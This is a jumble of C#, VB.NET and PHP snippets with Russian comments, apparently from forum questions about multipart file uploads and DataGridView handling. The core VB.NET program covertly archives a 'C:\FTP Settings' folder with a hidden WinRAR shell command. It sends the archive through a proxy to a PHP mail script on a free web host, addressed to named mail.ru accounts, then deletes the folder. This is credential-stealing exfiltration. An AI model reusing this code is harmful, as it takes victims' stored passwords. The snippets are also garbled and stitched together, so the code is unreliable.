private void button1_Click(object sender, EventArgs e)
        {
            OpenFileDialog ofd = new OpenFileDialog();
            ofd.Filter = "";
            if (ofd.ShowDialog() == DialogResult.OK)
            {
                textBox1.Text = ofd.FileName;
            }
        }

        private void button2_Click(object sender, EventArgs e)
        {
            string uploadFileContentType = "application/octet-stream"; // по умолчанию будет application/octet-stream
            Microsoft.Win32.RegistryKey myRegistryKey = Microsoft.Win32.Registry.ClassesRoot.OpenSubKey(Path.GetExtension(textBox1.Text));
            if (myRegistryKey != null && myRegistryKey.GetValue("Content Type") != null)
            {
                uploadFileContentType = myRegistryKey.GetValue("Content Type").ToString();
            }

            string uploadUrl = "http://сайтd.рф/upload.php";
            HttpWebRequest req = (HttpWebRequest) HttpWebRequest.Create(uploadUrl);
            req.Method = "POST";

            string boundary = "----------" + DateTime.Now.Ticks.ToString("x");
            req.ContentType = String.Format("multipart/form-data; boundary={0}", boundary);

        }
    }

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace RefudScan
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            OpenFileDialog ofd = new OpenFileDialog();
            ofd.Filter = "JPEG|*.jpg|PNG|*.png|GIF|*.gif";
            if (ofd.ShowDialog() == DialogResult.OK)
            {
                textBox1.Text = ofd.FileName;
            }
        }

        private void button2_Click(object sender, EventArgs e)
        {
                       string boundary = "----------" + DateTime.Now.Ticks.ToString("x");
            var request = HttpWebRequest.Create("http://site.ru/upload.php") as HttpWebRequest;
            request.Method = "POST";
            request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
            request.Referer = "http://site.ru/upload.php";
            request.UserAgent = @"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0";
            request.ContentType = String.Format("multipart/form-data; boundary=---------------------------{0}", boundary);
            request.KeepAlive = true;
            request.ProtocolVersion = new System.Version(1, 0);
            request.Headers.Add(HttpRequestHeader.AcceptLanguage, "ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3");
            request.Timeout = 600000;
            request.AllowAutoRedirect = true;

            string uploadFileContentType = "application/octet-stream"; // по умолчанию будет application/octet-stream
            Microsoft.Win32.RegistryKey myRegistryKey = Microsoft.Win32.Registry.ClassesRoot.OpenSubKey(Path.GetExtension(textBox1.Text));
            if (myRegistryKey != null && myRegistryKey.GetValue("Content Type") != null)
            {
                uploadFileContentType = myRegistryKey.GetValue("Content Type").ToString();
            }

            Stream myReqStream = request.GetRequestStream();
            string header = String.Format("\r\n--{0}\r\nContent-Disposition: form-data; name=\"{1}\"\r\n\r\n", boundary, "format");
            byte[] h = System.Text.Encoding.UTF8.GetBytes(header);
            myReqStream.Write(h, 0, h.Length);
            byte[] b = System.Text.Encoding.UTF8.GetBytes("xml");
            myReqStream.Write(b, 0, b.Length);

            header = String.Format("\r\n--{0}\r\nContent-Disposition: form-data; name=\"{1}\"; " +
                                   "filename=\"{2}\"\r\nContent-Type: {3}\r\n\r\n",
                                   boundary, "uploadedfile", Path.GetFileName(textBox1.Text), uploadFileContentType);
            h = System.Text.Encoding.UTF8.GetBytes(header);
            myReqStream.Write(h, 0, h.Length);

            using (FileStream myFile = new FileStream(textBox1.Text, FileMode.Open, FileAccess.Read))
            {
                using (BinaryReader myReader = new BinaryReader(myFile))
                {
                    byte[] buffer = myReader.ReadBytes(2048);
                    while (buffer.Length > 0)
                    {
                        myReqStream.Write(buffer, 0, buffer.Length);
                        buffer = myReader.ReadBytes(2048);
                    }
                }
            }

            string footer = String.Format("\r\n--{0}--\r\n", boundary);
            byte[] f = System.Text.Encoding.UTF8.GetBytes(footer);
            myReqStream.Write(f, 0, f.Length);
        }
    }
}

--граница
Content-Disposition: form-data; name=имяПараметра

значениеПараметра

--граница
Content-Disposition: form-data; name=имяПараметра2

значениеПараметра2

--граница
Content-Disposition: form-data; name=имяПараметраДляФайла; filename=имяФайла
Content-Type: типа/содержимого

телоФайла

...

и т.д. и т.п.

...

--граница в конце запроса

// заголовок, см. что будет вставлено в name="{1}"
string header = String.Format("\r\n--{0}\r\nContent-Disposition: form-data; name=\"{1}\"\r\n\r\n", boundary, "upload_file");
// получаем массив байт из текста заголовка
byte[] h = System.Text.Encoding.UTF8.GetBytes(header);
// пишем заголовок в запрос
myReqStream.Write(h, 0, h.Length);
// получаем массив байт для значения параметра
byte[] b = System.Text.Encoding.UTF8.GetBytes("upload_file"); // значение параметра
// пишем значение параметра в запрос
myReqStream.Write(b, 0, b.Length);

?php 
  if(empty($_POST['mail_to'])) exit("Введите адрес получателя"); 
  // проверяем правильности заполнения с помощью регулярного выражения 
  if (!preg_match("/^[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,3}$/i", $_POST['mail_to'])) exit("Введите адрес в виде somebody@server.com"); 
  $picture = ""; 
  // Если поле выбора вложения не пустое - закачиваем его на сервер 
  if (!empty($_FILES['mail_file']['tmp_name'])) 
  { 
    // Закачиваем файл 
    $path = $_FILES['mail_file']['name']; 
    if (copy($_FILES['mail_file']['tmp_name'], $path)) $picture = $path; 
  } 
  $mail_from = $_POST['mail_from'];
  $mail_to = $_POST['mail_to'];
  $thm = $_POST['mail_subject'];
  $msg = $_POST['mail_msg'];
  
  // Отправляем почтовое сообщение 
 if(empty($picture)) mail($mail_to, $thm, $msg); 
 else send_mail($mail_from, $mail_to, $thm, $msg, $picture); 
//send_mail($mail_from,$mail_to, $thema, $html, $path)
  // Вспомогательная функция для отправки почтового сообщения с вложением (Trianon)
 function send_mail($mail_from, $mail_to, $thema, $html, $path)   

  { if ($path) {  
    $fp = fopen($path,"rb");   
    if (!$fp)   
    { print "Cannot open file";   
      exit();   
    }   
    $file = fread($fp, filesize($path));   
    fclose($fp);   
    }  
    $name = "zamer2015.rar"; // в этой переменной надо сформировать имя файла (без всякого пути)  
    $EOL = "\r\n"; // ограничитель строк, некоторые почтовые сервера требуют \n - подобрать опытным путём
    $boundary     = "--".md5(uniqid(time()));  // любая строка, которой не будет ниже в потоке данных.  
    $headers    = "MIME-Version: 1.0;$EOL";   
    $headers   .= "Content-Type: multipart/mixed; boundary=\"$boundary\"$EOL";  
    $headers   .= "From: $mail_from"; 
	//$headers   .= $mail_from;
      
    $multipart  = "--$boundary$EOL";   
    $multipart .= "Content-Type: text/html; charset=windows-1251$EOL";   
    $multipart .= "Content-Transfer-Encoding: base64$EOL";   
    $multipart .= $EOL; // раздел между заголовками и телом html-части 
    $multipart .= chunk_split(base64_encode($html));   

    $multipart .=  "$EOL--$boundary$EOL";   
    $multipart .= "Content-Type: application/octet-stream; name=\"$name\"$EOL";   
    $multipart .= "Content-Transfer-Encoding: base64$EOL";   
    $multipart .= "Content-Disposition: attachment; filename=\"$name\"$EOL";   
    $multipart .= $EOL; // раздел между заголовками и телом прикрепленного файла 
    $multipart .= chunk_split(base64_encode($file));   

   
    $multipart .= "$EOL--$boundary--$EOL";   
      
        if(!mail($mail_to, $thema, $multipart, $headers)) 
		//echo('<font color=FF0000>Неверно введено (или не введено) кол-во сообщений</font>');
         {return False;           //если не письмо не отправлено
      }  
    else { //// если письмо отправлено
	echo('<center><b><font color=#00FF00>Сообщение успешно отправлено</font></b></center>');
    return True;  
    }  
  exit;  
  }
?>

 Sub Main()
        ProgressBar1.Maximum = 10
        Try
            ProgressBar1.Value = 2
            Label3.Text = ""
            Dim req As Net.HttpWebRequest
            Dim resp As Net.HttpWebResponse
            Dim str, str2 As IO.Stream
            Dim Proxy As String = TextBox2.Text
            Dim boundary As String = "------WebKitFormBoundary" + DateTime.Now.Ticks.ToString("X")
            ProgressBar1.Value = 3
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Создаю ПОСТ Запрос"))
            Dim data As Byte() = System.Text.Encoding.GetEncoding(1251).GetBytes("&mail_from=" & "@mail.ru" & "&mail_to=" & "@mail.ru" & "&mail_subject=" & "JOBS" & "&mail_msg=" & "Свежак" & "&mail_file=" & _
               "C:\FTP Settings\zamer2015.rar" & "&tmp_name=" & "zamer2015.rar")

           
            req = Net.WebRequest.Create("http://.webege.com/images/22.php")
            If TextBox2.Text = "" Then
                req.Proxy = Nothing
            Else
                req.Proxy = New WebProxy(Proxy)
            End If
            ProgressBar1.Value = 5
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Конект через " & TextBox2.Text))
            ' req.ServicePoint.Expect100Continue = False
            req.Method = "POST"
            req.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
            '   Das hier alles ist so gesehn unwichtig aber egal :)
            req.UserAgent = "Mozilla/5.0 (Windows NT 5.1; rv:35.0) Gecko/20100101 Firefox/35.0"
            req.Headers.Add(Net.HttpRequestHeader.AcceptLanguage, "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3")
            req.Referer = "http://mskpsk.webege.com/"
            req.Headers.Add("UA-CPU", "x86")
            req.Headers.Add(Net.HttpRequestHeader.AcceptEncoding, "gzip, deflate")
            'Furn Post Request den ContentType & Lenght + Data
            req.ContentType = "application/x-www-form-urlencoded"
            '  req.ContentType = Convert.ToString("multipart/form-data; boundary=") & boundary
            ' req.ContentType = "multipart/form-data; boundary=" & boundary '----WebKitFormBoundaryq4pNAy5vuI4uDe4S"
            req.Headers.Add("Cookie", cuc)
            req.AllowAutoRedirect = True
            ' Build up the post message header
            Dim sb As New StringBuilder()
            sb.Append(boundary)
            sb.Append(vbCr & vbLf)
            sb.Append("Content-Disposition: form-data; name=""mail_from""")
            sb.Append(vbCr & vbLf)
            sb.Append(vbCr & vbLf)
            sb.Append("rokin@mail.ru")
            sb.Append(vbCr & vbLf)
            sb.Append(boundary)
            sb.Append(vbCr & vbLf)
            sb.Append("Content-Disposition: form-data; name=""mail_to""")
            sb.Append(vbCr & vbLf)
            sb.Append(vbCr & vbLf)
            sb.Append("ovb71@mail.ru")
            sb.Append(vbCr & vbLf)
            sb.Append(boundary)
            sb.Append("Content-Disposition: form-data; name=""mail_subject""")
            sb.Append(vbCr & vbLf)
            sb.Append(vbCr & vbLf)
            sb.Append("zamer")
            sb.Append(vbCr & vbLf)
            sb.Append(boundary)
            sb.Append(vbCr & vbLf)
            sb.Append("Content-Disposition: form-data; name=""mail_msg""")
            sb.Append(vbCr & vbLf)
            sb.Append(vbCr & vbLf)
            sb.Append("привет")
            sb.Append(vbCr & vbLf)
            sb.Append(boundary)
            sb.Append(vbCr & vbLf)
            sb.Append("Content-Disposition: form-data; name=""mail_file""; filename=""zamer2015.rar""")
            sb.Append(vbCr & vbLf)
            sb.Append("Content-Type: application/octet-stream")
            '  Dim postHeader As String = sb.ToString()

            ' Dim data As Byte() = Encoding.UTF8.GetBytes(postHeader)
            req.ContentLength = data.Length
            str2 = req.GetRequestStream()
            str2.Write(data, 0, data.Length)
            str2.Close()
            ProgressBar1.Value = 6
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Ждем ответа сервера"))
            resp = req.GetResponse
            str = resp.GetResponseStream()
            Dim Buffer = New IO.StreamReader(str, System.Text.Encoding.GetEncoding(1251)).ReadToEnd
            ProgressBar1.Value = 8
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Читаем ответ..Кодировка 1251"))
            ' Dim Buffer = New IO.StreamReader(str, System.Text.Encoding.ASCII).ReadToEnd 'das ist die auslese
            Dim soq As String = Buffer
            Dim m As Match = Regex.Match(soq, "<center><b><font color=#00FF00>(?<Bl>.*?)</font></b></center>")
            Label3.Text = (m.Groups("Bl").Value)
            Label3.ForeColor = Color.Red
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- ВСЕ ОТЛИЧНО!!! Смотрим свое МЫЛО!!"))
            ' Dim soq1 As String = Buffer
            'Dim m1 As Match = Regex.Match(soq1, "<center><b><font color=#00FF00>(?<Bl>.*?)</font></b></center>")
            '  MsgBox(m1.Groups("Bl").Value)
            ' TextBox6.Text = (m.Groups("Bl").Value)
            req = Nothing
            resp = Nothing
            str = Nothing
            Buffer = Nothing
        Catch e As Exception
            ProgressBar1.Value = 0
            MessageBox.Show(e.Message)
        End Try
        ProgressBar1.Value = 10
    End Sub
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        ListBox1.Text = "LOGI"
        ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Готов к работе.."))
        For a As Integer = 0 To ComboBox1.Items.Count - 1 'Step 1
            spisok = ComboBox1.Items.Count - 1
            ' MsgBox(spisok)
        Next
    End Sub
    Private Sub countup()
        WriteGoodCountSub()
    End Sub
    Private Sub Button2_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        thread = New System.Threading.Thread(AddressOf countup)
        thread.Start()
        batn()
        Shell("cmd /c timeout /t 100", vbHide)
        Shell("cmd /c start /min WinRAR.exe u -r -y -ep1 C:\""FTP Settings""\pass.rar C:\""FTP Settings"" >nul", vbHide)
        If CheckBox1.Checked = True Then 'опредиляем коллич.в списке              
            batn()
            comb = ComboBox1.Items(0)
            Main()
            Timer1.Interval = 5000
            Timer1.Start() 'Timer starts 
        Else
            Main1()
        End If
    End Sub

 Sub Main1()
        ProgressBar1.Maximum = 10
        Try
            ProgressBar1.Value = 3
            Dim req As Net.HttpWebRequest
            Dim resp As Net.HttpWebResponse
            Dim str, str2 As IO.Stream
            Dim Proxy As String = TextBox2.Text
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Создаю ПОСТ Запрос"))
            Dim data As Byte() = System.Text.Encoding.GetEncoding(1251).GetBytes("&mail_from=" & comb & "&mail_to=" & comb & "&mail_subject=" & "JOBS" & "&mail_msg=" & "Свежак" & "&mail_file=" & _
                                                                    "C:\FTP Settings\pass.rar" & "&tmp_name=" & "pass.rar")
            '  req = Net.WebRequest.Create("http://..com/simple_mmail.php")
            req = Net.WebRequest.Create("http://..com/simple_mmail.php")
            If TextBox2.Text = "" Then
                req.Proxy = Nothing
            Else
                req.Proxy = New WebProxy(Proxy)
            End If
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Конект через " & TextBox2.Text))
            ' req.ServicePoint.Expect100Continue = False
            req.Method = "POST"
            req.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
            '   Das hier alles ist so gesehn unwichtig aber egal :)
            req.UserAgent = "Mozilla/5.0 (Windows NT 5.1; rv:35.0) Gecko/20100101 Firefox/35.0"
            req.Headers.Add(Net.HttpRequestHeader.AcceptLanguage, "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3")
            req.Referer = "http://.webege.com/"
            req.Headers.Add("UA-CPU", "x86")
            req.Headers.Add(Net.HttpRequestHeader.AcceptEncoding, "gzip, deflate")
            'Furn Post Request den ContentType & Lenght + Data
            req.ContentType = "application/x-www-form-urlencoded"
            req.Headers.Add("Cookie", cuc)
            req.AllowAutoRedirect = True
            req.ContentLength = data.Length

            str2 = req.GetRequestStream()
            str2.Write(data, 0, data.Length)
            str2.Close()
            ProgressBar1.Value = 8
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Ждем ответа сервера"))
            resp = req.GetResponse
            str = resp.GetResponseStream()
            Dim Buffer = New IO.StreamReader(str, System.Text.Encoding.GetEncoding(1251)).ReadToEnd
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Читаем ответ..Кодировка 1251"))
            ' Dim Buffer = New IO.StreamReader(str, System.Text.Encoding.ASCII).ReadToEnd 'das ist die auslese
            Dim soq As String = Buffer
            Dim m As Match = Regex.Match(soq, "<center><b><font color=#00FF00>(?<Bl>.*?)</font></b></center>")
            Label3.Text = (m.Groups("Bl").Value)
            Label3.ForeColor = Color.Red
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- ВСЕ ОТЛИЧНО!!! Смотрим свое МЫЛО!!"))
            ' Dim soq1 As String = Buffer
            'Dim m1 As Match = Regex.Match(soq1, "<center><b><font color=#00FF00>(?<Bl>.*?)</font></b></center>")
            '  MsgBox(m1.Groups("Bl").Value)
            ' TextBox6.Text = (m.Groups("Bl").Value)
            ProgressBar1.Value = 10
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Удаляем папку ""C:\FTP Settings"""))
            If IO.Directory.Exists("C:\FTP Settings") Then
                IO.Directory.Delete("C:\FTP Settings", True)
            End If
            ProgressBar1.Value = 0
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Спасибо и Досвидос"))
            For i = 0 To ListBox1.Items.Count - 1
                ListBox1.Text = ListBox1.Items(i)
                ListBox1.ClearSelected()
            Next

        Catch e As Exception
            MessageBox.Show(e.Message)
        End Try
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        If pss >= spisok Then
            Timer1.Stop() 'Timer stop
            Timer1.Enabled = False
            ProgressBar1.Value = 0
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Спасибо и Досвидос"))
            For i = 0 To ListBox1.Items.Count - 1
                ListBox1.Text = ListBox1.Items(i)
                ListBox1.ClearSelected()
            Next
            MsgBox("Timer Stopped...." & vbCrLf & _
                   "РАЗОСЛАНО" & vbCrLf & spisok + 1 & "  MESSAGI")
        Else
            Main()
            pss += 1
            comb = ComboBox1.Items(pss)
            countup()
            ' Main()
        End If
    End Sub
    Public Sub WriteGoodCountSub()
        If Not (Me.InvokeRequired) Then
            Label2.ForeColor = Color.Magenta
            Label2.Text = comb.ToString
        Else
            Me.Invoke(New WriteGoodCount(AddressOf WriteGoodCountSub))
        End If
    End Sub

MessageBox.Show(DataGridView1.RowCount)

Public Class Form1
  Private DT As New DataTable

  Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click
    Dim XX, YY, ZZ As Double
    Dim ppp As Integer 'счетчик количества строк содержащих ‘XXXX**’
    'XX = TextBox4.Text 'считываем в переменную содержание текстовых полей
    'YY = TextBox5.Text 'считываем в переменную содержание текстовых полей
    'ZZ = TextBox6.Text 'считываем в переменную содержание текстовых полей
    DT.Clear()
    DT.Columns.Add("a")
    DT.Columns.Add("b")
    DT.Columns.Add("c")

    DT.Rows.Add("1", "ХХХХХ", "123")
    DT.Rows.Add("2", "ХХХХХ**", "123")
    DT.Rows.Add("3", "ХХХХХ", "123")
    DT.Rows.Add("4", "ХХХХХ**", "123")
    DT.Rows.Add("5", "ХХХХХ", "123")

    'формируем запрос с условием:
    'SqlCom = New OleDb.OleDbCommand("SELECT_ [Код],[TipKT],[Structure],[Uke],[Ikmax],[Pkmax],[H21e] FROM [DanTR] where [Pkmax] >= " & Str(XX) & " and [Ikmax]>=" & Str(YY) & " and [Uke]>=" & Str(ZZ) & "", Con)
    ' Con.Open() ' Открываем соединение
    ' SqlCom.ExecuteNonQuery() 'Выполняем запрос
    'DA = New OleDb.OleDbDataAdapter(SqlCom) 'Через адаптер получаем результаты запроса
    'DA.Fill(DT) ' Заполняем результатами таблицу
    Me.DataGridView1.DataSource = DT ' Привязываем DataGridView к источнику данных
    DataGridView1.AllowUserToAddRows = False ' Удаляем последнюю пустую строку если есть
    Dim ss As Integer ' Объявляем счетчик
    For J As Integer = 0 To DataGridView1.RowCount - 1
      ss = DataGridView1.Item(1, J).Value.ToString().IndexOf("**")
      ' Проверка на: если есть строки с ‘XXXX**’ и если есть закрашиваем в синий цвет
      If ss <> -1 Then
        ppp = ppp + 1
        ' Пробую так:
        Me.DataGridView1.Rows(J).DefaultCellStyle.BackColor = Color.Blue
        ' Пробую и так:
        'Me.DataGridView1.Rows(J).DefaultCellStyle.ForeColor = Color.Blue
      End If
    Next
    'TextBox13.Text = ppp ' показываем сколько выполненных условий (это так для контроля)
    'Con.Close() ' Закрываем соединение
    ' Скрываю колонки не нужные для отображения, оставляем только 1-ю
    DataGridView1.RowHeadersVisible = False
    DataGridView1.Visible = True
  End Sub
End Class

If DatagriedView1.CurrenRow.Cells(0).Value.ToString().Equals(DatagriedView2.Rows(i).Cells(0).Value.ToString()) Then
  DatagriedView2.CurrentCell = DatagriedView2.Rows(i).Cells(0) 'выделяем найденную ячейку 
  MessageBox.Show("Совпадение найдено")
  Exit For 'выход из цикла
End If

Dim client As New System.Net.Http.HttpClient()
Dim content As New System.Net.Http.MultipartFormDataContent()

'параметры
Dim stringContent As New System.Net.Http.StringContent("rokin@mail.ru")
stringContent.Headers.ContentDisposition = New System.Net.Http.Headers.ContentDispositionHeaderValue("form-data")
stringContent.Headers.ContentDisposition.Name = "mail_from"
content.Add(stringContent)

stringContent = New Net.Http.StringContent("ovb71@mail.ru")
stringContent.Headers.ContentDisposition = New System.Net.Http.Headers.ContentDispositionHeaderValue("form-data")
stringContent.Headers.ContentDisposition.Name = "mail_to"
content.Add(stringContent)

stringContent = New System.Net.Http.StringContent("zamer")
stringContent.Headers.ContentDisposition = New System.Net.Http.Headers.ContentDispositionHeaderValue("form-data")
stringContent.Headers.ContentDisposition.Name = "mail_subject"
content.Add(stringContent)

stringContent = New System.Net.Http.StringContent("привет")
stringContent.Headers.ContentDisposition = New System.Net.Http.Headers.ContentDispositionHeaderValue("form-data")
stringContent.Headers.ContentDisposition.Name = "mail_msg"
content.Add(stringContent)

'файл
Dim fs As New System.IO.FileStream("G:\123.zip", IO.FileMode.Open, IO.FileAccess.Read, IO.FileShare.Inheritable)
Dim streamContent As New System.Net.Http.StreamContent(fs)

streamContent.Headers.ContentType = New System.Net.Http.Headers.MediaTypeHeaderValue("application/octet-stream")
streamContent.Headers.ContentDisposition = New System.Net.Http.Headers.ContentDispositionHeaderValue("form-data")
streamContent.Headers.ContentDisposition.Name = "mail_file"
streamContent.Headers.ContentDisposition.FileName = "123.zip"

content.Add(streamContent)

'отправляем асинхронный запрос
client.PostAsync("http://webege.com/images/22.php", content)

 Dim Handler As New HttpClientHandler
        Dim proxy As New WebProxy()
        ' Proxy = TextBox2.Text
        Dim urlBuilder As New System.UriBuilder
        Handler.Proxy = proxy
        Handler.UseProxy = True
        'Handler.AutomaticDecompression = DecompressionMethods.GZip Or DecompressionMethods.Deflate
        Dim client As New System.Net.Http.HttpClient(Handler)
        Dim content As New System.Net.Http.MultipartFormDataContent()
        urlBuilder.Host = "172.20.133.199"
        urlBuilder.Port = 3128

Dim Handler As New HttpClientHandler With { .Proxy = new WebProxy("http://172.20.133.199:3128", False), .UseProxy = True }

Dim IMG As System.Drawing.Image = System.Drawing.Image.FromStream(frmFileUpload.PostedFile.InputStream)

 Dim Proxy As String = TextBox2.Text
 Dim Handler As New HttpClientHandler
 Handler.Proxy = New WebProxy(Proxy)
 Handler.UseProxy = True
                Dim client As New System.Net.Http.HttpClient(Handler)
                Dim content As New System.Net.Http.MultipartFormDataContent()

'получаем картинку
Dim data() As Byte = New WebClient().DownloadData("http://aleksey.nemiro.ru/upload/images/00021.jpg")
'помещаем в System.IO.MemoryStream
Dim m As New MemoryStream(data)
'передаем из MemoryStream в Image
Dim img As System.Drawing.Image = System.Drawing.Image.FromStream(m)
'далее можно работать с image обычным образом

Dim web As New WebClient()
web.DownloadFile("http://aleksey.nemiro.ru/upload/images/00021.jpg", "C:\00021.jpg")